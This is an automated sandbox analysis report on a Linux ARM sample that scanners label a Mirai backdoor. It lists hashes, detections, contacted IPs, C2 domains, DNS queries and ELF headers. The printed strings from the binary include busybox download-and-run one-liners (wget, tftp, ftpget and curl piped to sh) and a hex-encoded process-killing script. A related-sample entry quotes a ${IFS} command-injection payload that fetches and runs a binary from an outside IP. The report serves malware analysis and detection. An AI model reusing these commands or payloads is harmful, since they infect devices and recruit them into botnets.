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Linux Analysis Report
splarm7.elf

Overview

General Information

Sample name:	splarm7.elf
Analysis ID:	1580213
MD5:	acae5967b4d29d5faf0481ad6b5ccc40
SHA1:	52db73b561e450836859f2d222f24f864db52c8e
SHA256:	de786065635854817351a75979f9f0c155aa8a59a37fb2c35036ad035952b562
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Sends malformed DNS queries

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1580213
Start date and time:	2024-12-24 04:25:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splarm7.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/74@13/0

Warnings

Report size exceeded maximum capacity and may have missing network information.

Runtime Messages

Command:	/tmp/splarm7.elf
PID:	5428
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

splarm7.elf (PID: 5428, Parent: 5352, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/splarm7.elf

splarm7.elf New Fork (PID: 5430, Parent: 5428)

splarm7.elf New Fork (PID: 5432, Parent: 5430)

splarm7.elf New Fork (PID: 5436, Parent: 5430)

splarm7.elf New Fork (PID: 5437, Parent: 5430)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: splarm7.elf	Virustotal: Detection: 29%			Perma Link
Source: splarm7.elf	ReversingLabs: Detection: 36%

Source: global traffic	TCP traffic: 209.38.192.73 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.216.16.250 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.13:58564 -> 154.216.16.250:38241
Source: global traffic	TCP traffic: 192.168.2.13:49050 -> 209.38.192.73:38241
Source: global traffic	TCP traffic: 192.168.2.13:51096 -> 154.216.16.244:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 112.143.34.252
Source: unknown	TCP traffic detected without corresponding DNS query: 98.2.104.205
Source: unknown	TCP traffic detected without corresponding DNS query: 158.229.231.139
Source: unknown	TCP traffic detected without corresponding DNS query: 64.150.1.208
Source: unknown	TCP traffic detected without corresponding DNS query: 123.14.105.8
Source: unknown	TCP traffic detected without corresponding DNS query: 145.180.97.134
Source: unknown	TCP traffic detected without corresponding DNS query: 168.82.35.255
Source: unknown	TCP traffic detected without corresponding DNS query: 101.186.45.141
Source: unknown	TCP traffic detected without corresponding DNS query: 170.207.59.143
Source: unknown	TCP traffic detected without corresponding DNS query: 100.32.79.203
Source: unknown	TCP traffic detected without corresponding DNS query: 126.101.255.74
Source: unknown	TCP traffic detected without corresponding DNS query: 73.151.206.30
Source: unknown	TCP traffic detected without corresponding DNS query: 53.211.164.214
Source: unknown	TCP traffic detected without corresponding DNS query: 122.252.55.119
Source: unknown	TCP traffic detected without corresponding DNS query: 164.139.186.192
Source: unknown	TCP traffic detected without corresponding DNS query: 167.122.157.204
Source: unknown	TCP traffic detected without corresponding DNS query: 212.12.17.94
Source: unknown	TCP traffic detected without corresponding DNS query: 34.161.56.132
Source: unknown	TCP traffic detected without corresponding DNS query: 218.139.138.125
Source: unknown	TCP traffic detected without corresponding DNS query: 131.232.222.190
Source: unknown	TCP traffic detected without corresponding DNS query: 209.208.202.33
Source: unknown	TCP traffic detected without corresponding DNS query: 182.118.168.170
Source: unknown	TCP traffic detected without corresponding DNS query: 128.34.100.205
Source: unknown	TCP traffic detected without corresponding DNS query: 36.229.1.34
Source: unknown	TCP traffic detected without corresponding DNS query: 66.205.249.128
Source: unknown	TCP traffic detected without corresponding DNS query: 70.99.251.115
Source: unknown	TCP traffic detected without corresponding DNS query: 35.137.239.61
Source: unknown	TCP traffic detected without corresponding DNS query: 96.81.116.242
Source: unknown	TCP traffic detected without corresponding DNS query: 3.203.18.102
Source: unknown	TCP traffic detected without corresponding DNS query: 173.206.44.154
Source: unknown	TCP traffic detected without corresponding DNS query: 29.6.60.231
Source: unknown	TCP traffic detected without corresponding DNS query: 26.176.25.104
Source: unknown	TCP traffic detected without corresponding DNS query: 28.231.129.235
Source: unknown	TCP traffic detected without corresponding DNS query: 129.45.168.106
Source: unknown	TCP traffic detected without corresponding DNS query: 161.105.123.151
Source: unknown	TCP traffic detected without corresponding DNS query: 192.148.160.165
Source: unknown	TCP traffic detected without corresponding DNS query: 100.29.41.68
Source: unknown	TCP traffic detected without corresponding DNS query: 161.218.143.88
Source: unknown	TCP traffic detected without corresponding DNS query: 109.198.151.150
Source: unknown	TCP traffic detected without corresponding DNS query: 91.118.240.5
Source: unknown	TCP traffic detected without corresponding DNS query: 87.181.160.117
Source: unknown	TCP traffic detected without corresponding DNS query: 112.143.34.252
Source: unknown	TCP traffic detected without corresponding DNS query: 162.212.102.90
Source: unknown	TCP traffic detected without corresponding DNS query: 98.2.104.205
Source: unknown	TCP traffic detected without corresponding DNS query: 54.175.58.82
Source: unknown	TCP traffic detected without corresponding DNS query: 158.229.231.139
Source: unknown	TCP traffic detected without corresponding DNS query: 161.113.111.236
Source: unknown	TCP traffic detected without corresponding DNS query: 25.44.158.98
Source: unknown	TCP traffic detected without corresponding DNS query: 64.150.1.208
Source: unknown	TCP traffic detected without corresponding DNS query: 79.186.164.34

Source: global traffic	DNS traffic detected: DNS query: serisontop.dyn
Source: global traffic	DNS traffic detected: DNS query: serisbot.geek. [malformed]

Source: splarm7.elf	String found in binary or memory: http:///curl.sh
Source: splarm7.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5470/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5470/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5460/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5460/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5471/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5471/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5461/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5461/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5462/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5462/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5463/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5463/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5464/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5464/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5454/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5454/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5465/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5465/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5455/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5455/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5466/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5466/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5456/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5456/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5467/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5467/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5522/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5522/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5457/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5457/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5468/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5468/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5458/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5458/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5469/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5469/cmdline	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5459/maps	Jump to behavior
Source: /tmp/splarm7.elf (PID: 5436)	File opened: /proc/5459/cmdline	Jump to behavior

Source: splarm7.elf, 5428.1.00007ffc51d8d000.00007ffc51dae000.rw-.sdmp, splarm7.elf, 5432.1.00007ffc51d8d000.00007ffc51dae000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/splarm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splarm7.elf
Source: splarm7.elf, 5428.1.000055cbdd0b0000.000055cbdd1ff000.rw-.sdmp, splarm7.elf, 5432.1.000055cbdd0b0000.000055cbdd1ff000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/arm
Source: splarm7.elf, 5428.1.000055cbdd0b0000.000055cbdd1ff000.rw-.sdmp, splarm7.elf, 5432.1.000055cbdd0b0000.000055cbdd1ff000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: splarm7.elf, 5428.1.00007ffc51d8d000.00007ffc51dae000.rw-.sdmp, splarm7.elf, 5432.1.00007ffc51d8d000.00007ffc51dae000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
splarm7.elf	29%	Virustotal		Browse
splarm7.elf	37%	ReversingLabs	Linux.Backdoor.Mirai

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splarm7.elf	false		high
http:///curl.sh	splarm7.elf	false		high

IP	Domain	Country	ASN	ASN Name	Malicious
200.197.34.26	unknown	Brazil	10733	DCMATRIXINTERNETSABR	false
123.16.237.107	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
85.186.152.145	unknown	Romania	6830	LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	false
199.67.200.220	unknown	United States	19142	UNASSIGNED	false
37.108.35.233	unknown	Poland	5617	TPNETPL	false
43.141.9.171	unknown	Japan	4249	LILLY-ASUS	false
190.159.114.138	unknown	Colombia	10620	TelmexColombiaSACO	false
220.200.15.189	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
176.211.64.225	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
19.197.147.189	unknown	United States	3	MIT-GATEWAYSUS	false
205.60.152.38	unknown	United States	647	DNIC-ASBLK-00616-00665US	false
220.22.195.48	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
178.221.141.116	unknown	Serbia	8400	TELEKOM-ASRS	false
195.189.103.138	unknown	Russian Federation	41085	E-PORT-ASe-portgroupRU	false
175.245.175.188	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
149.62.208.5	unknown	Bulgaria	29244	TELENORBG-ASBG	false
164.105.29.198	unknown	United States	54060	POUDRESCHOOLDISTRICTUS	false
207.87.26.247	unknown	United States	2828	XO-AS15US	false
151.156.34.48	unknown	Sweden	205664	VATTENFALL-ABSE	false
110.124.225.25	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
22.194.60.247	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.124.30.40	unknown	United Kingdom	12576	EELtdGB	false
11.216.152.23	unknown	United States	3356	LEVEL3US	false
136.96.110.178	unknown	United States	60311	ONEFMCH	false
199.229.249.165	unknown	United States	46562	TOTAL-SERVER-SOLUTIONSUS	false
57.66.140.143	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
45.174.150.185	unknown	Argentina	267829	CABLEVIDEOIMAGENCANAL5SRLAR	false
98.98.255.250	unknown	United States	7018	ATT-INTERNET4US	false
217.37.34.218	unknown	United Kingdom	2856	BT-UK-ASBTnetUKRegionalnetworkGB	false
215.148.207.52	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
11.36.170.244	unknown	United States	3356	LEVEL3US	false
97.183.180.81	unknown	United States	6167	CELLCO-PARTUS	false
52.55.24.23	unknown	United States	14618	AMAZON-AESUS	false
149.95.138.162	unknown	United States	174	COGENT-174US	false
81.39.106.70	unknown	Spain	3352	TELEFONICA_DE_ESPANAES	false
161.104.160.185	unknown	France	7582	UMAC-AS-APUniversityofMacauMO	false
199.102.45.80	unknown	United States	14935	MONTICELLOUS	false
202.30.108.149	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
37.197.115.47	unknown	Sweden	1257	TELE2EU	false
19.195.54.130	unknown	United States	3	MIT-GATEWAYSUS	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
217.37.34.218	bot.mpsl.elf	Get hash	malicious	Mirai	Browse	/bin/zhttpd/${IFS}cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://157.10.52.16/mips;${IFS}chmod${IFS}777${IFS}mips;${IFS}./mips${IFS}zyxel;
31.124.30.40	UnHAnaAW.arm5	Get hash	malicious	Mirai	Browse
	WrlNUDVmep	Get hash	malicious	Mirai	Browse
	IKv7pRNRUE	Get hash	malicious	Mirai	Browse
	mkzi7sdTcw	Get hash	malicious	Unknown	Browse
	3J4LemfCmS	Get hash	malicious	Mirai	Browse
178.221.141.116	mJKB0BjMIV.elf	Get hash	malicious	Mirai	Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
serisontop.dyn	209.38.192.73	true	false		high
serisbot.geek. [malformed]	unknown	unknown	false		high

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
serisontop.dyn	zerarm7.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	jklspc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nabspc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	splarm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nabm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	jklm68k.elf	Get hash	malicious	Unknown	Browse	209.38.192.73
	nabarm.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	nklarm.elf	Get hash	malicious	Unknown	Browse	154.216.16.250
	splspc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244
	zerppc.elf	Get hash	malicious	Unknown	Browse	154.216.16.244

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DCMATRIXINTERNETSABR	la.bot.arm.elf	Get hash	malicious	Mirai	Browse	200.201.224.154
	sh4.elf	Get hash	malicious	Unknown	Browse	200.197.22.48
	xd.x86.elf	Get hash	malicious	Mirai	Browse	200.197.212.139
	mips.elf	Get hash	malicious	Mirai	Browse	200.197.82.120
	nklm68k.elf	Get hash	malicious	Unknown	Browse	200.197.82.111
	mirai.spc.elf	Get hash	malicious	Mirai	Browse	200.197.82.146
	HHzrOvo2d3.elf	Get hash	malicious	Unknown	Browse	200.197.82.125
	xfO72LuQ7K.elf	Get hash	malicious	Unknown	Browse	200.197.22.82
	uOMKZwL0nj.elf	Get hash	malicious	Gafgyt, Mirai	Browse	200.197.22.68
	ivBwxLK2gm.elf	Get hash	malicious	Mirai	Browse	200.197.124.187
LIBERTYGLOBALLibertyGlobalformerlyUPCBroadbandHolding	nabspc.elf	Get hash	malicious	Unknown	Browse	77.59.144.147
	nklarm.elf	Get hash	malicious	Unknown	Browse	92.110.221.187
	nklspc.elf	Get hash	malicious	Unknown	Browse	78.97.43.242
	nklm68k.elf	Get hash	malicious	Unknown	Browse	62.195.46.115
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	82.212.7.188
	jklx86.elf	Get hash	malicious	Unknown	Browse	62.2.133.181
	arm.elf	Get hash	malicious	Unknown	Browse	88.146.189.46
	nklsh4.elf	Get hash	malicious	Unknown	Browse	145.252.161.123
	nklx86.elf	Get hash	malicious	Unknown	Browse	84.116.116.120
	nklmips.elf	Get hash	malicious	Unknown	Browse	85.120.158.186
UNASSIGNED	nklarm.elf	Get hash	malicious	Unknown	Browse	187.44.116.214
	https://jkqbjwq.maxiite.com	Get hash	malicious	HTMLPhisher	Browse	199.67.80.86
	3.elf	Get hash	malicious	Unknown	Browse	157.225.246.161
	nshmips.elf	Get hash	malicious	Mirai	Browse	199.67.233.1
	nshkppc.elf	Get hash	malicious	Mirai	Browse	104.255.33.221
	la.bot.arm5.elf	Get hash	malicious	Mirai	Browse	157.225.228.159
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	153.10.223.33
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	144.74.0.179
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	153.10.48.170
	1.elf	Get hash	malicious	Unknown	Browse	41.220.60.204
VNPT-AS-VNVNPTCorpVN	jklspc.elf	Get hash	malicious	Unknown	Browse	113.166.174.101
	nabmips.elf	Get hash	malicious	Unknown	Browse	123.16.213.56
	arm.elf	Get hash	malicious	Unknown	Browse	14.188.62.1
	splx86.elf	Get hash	malicious	Unknown	Browse	14.228.200.207
	loligang.arm.elf	Get hash	malicious	Mirai	Browse	14.167.73.61
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	14.239.3.154
	loligang.ppc.elf	Get hash	malicious	Mirai	Browse	14.179.56.13
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	123.25.28.243
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	123.19.56.244
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	14.175.57.246

Process:	/tmp/splarm7.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	248
Entropy (8bit):	3.3094082913611405
Encrypted:	false
SSDEEP:	6:PvNceFXI/VUR4ceFXfC/VjmsVot/VOArB/VH:CerRlelhl
MD5:	E0791C1D913E17F060B459D6BD8E4AA9
SHA1:	7E6531EF540FC05D7252DB29A74B43DDB582D187
SHA-256:	060AB461D4564D651A4AA97E4227335918200C7EDE6FC7AB78E7C567D8F4E0F4
SHA-512:	22A8E56C221BB9A9E8D8F90F688992459EB914AFDDCAD392AACE49F2D7A924169CC922E18CD875AEAFC1378A35D528D1DE6C453719F866658068680BF118CB70
Malicious:	false
Reputation:	low
Preview:	8000-1d000 r-xp 00000000 fd:00 531567 /tmp/..24000-25000 rw-p 00014000 fd:00 531567 /tmp/..25000-2b000 rw-p 00000000 00:00 0 .ff7ef000-ff7f0000 ---p 00000000 00:00 0 .ff7f0000-ffff0000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.053707529248898
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splarm7.elf
File size:	85'348 bytes
MD5:	acae5967b4d29d5faf0481ad6b5ccc40
SHA1:	52db73b561e450836859f2d222f24f864db52c8e
SHA256:	de786065635854817351a75979f9f0c155aa8a59a37fb2c35036ad035952b562
SHA512:	3851e288e49d4ff2288abf3f05fe45cb90b7443dbd7e12d4acf83bab9d578a18660da5126b6e3e2ea0dc5f07f6a36f2f640a851d11d50122866512b5648bab59
SSDEEP:	1536:G/5nZ60faq7dL2+rRbYqHK7b0/Z0mNcDhpGqCQPaCqXllyPiBXp3cCT3bsR:Vqa+drRbBqw08c1pGqCQPaGwXpsCT3
TLSH:	1883F746FC819B15D5D922BEFA1E12CD335357A8E3EF7202DD115B24378A92B0E77A02
File Content Preview:	.ELF..............(.........4....J......4. ...(........p.F...........................................H...H...............H...H...H......DA...............H...H...H..................Q.td..................................-...L..................@-.,@...0....S

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	84668
Section Header Size:	40
Number of Section Headers:	17
Header String Table Index:	16

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x136d8	0x0	0x6	AX	0	16
.fini	PROGBITS	0x1b7c8	0x137c8	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x1b7d8	0x137d8	0xefc	0x0	0x2	A	0	4
.ARM.extab	PROGBITS	0x1c6d4	0x146d4	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x1c6ec	0x146ec	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x24804	0x14804	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x24808	0x14808	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x24808	0x14808	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x2480c	0x1480c	0x4	0x0	0x3	WA	0	4
.jcr	PROGBITS	0x24810	0x14810	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x24814	0x14814	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x248bc	0x148bc	0x160	0x0	0x3	WA	0	4
.bss	NOBITS	0x24a1c	0x14a1c	0x3f2c	0x0	0x3	WA	0	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x14a1c	0x16	0x0	0x0		0	1
.shstrtab	STRTAB	0x0	0x14a32	0x88	0x0	0x0		0	1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x146ec	0x1c6ec	0x1c6ec	0x118	0x118	4.4238	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x14804	0x14804	6.0758	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x14804	0x24804	0x24804	0x218	0x4144	2.6330	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .jcr .got .data .bss
TLS	0x14808	0x24808	0x24808	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 04:26:06.591193914 CET	192.168.2.13	202.61.197.122	0xabf9	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:08.090548992 CET	192.168.2.13	185.181.61.24	0x12aa	Standard query (0)	serisontop.dyn	A (IP address)	IN (0x0001)	false
Dec 24, 2024 04:26:19.930850029 CET	192.168.2.13	168.235.111.72	0x31e4	Standard query (0)	serisbot.geek. [malformed]	256	476	false
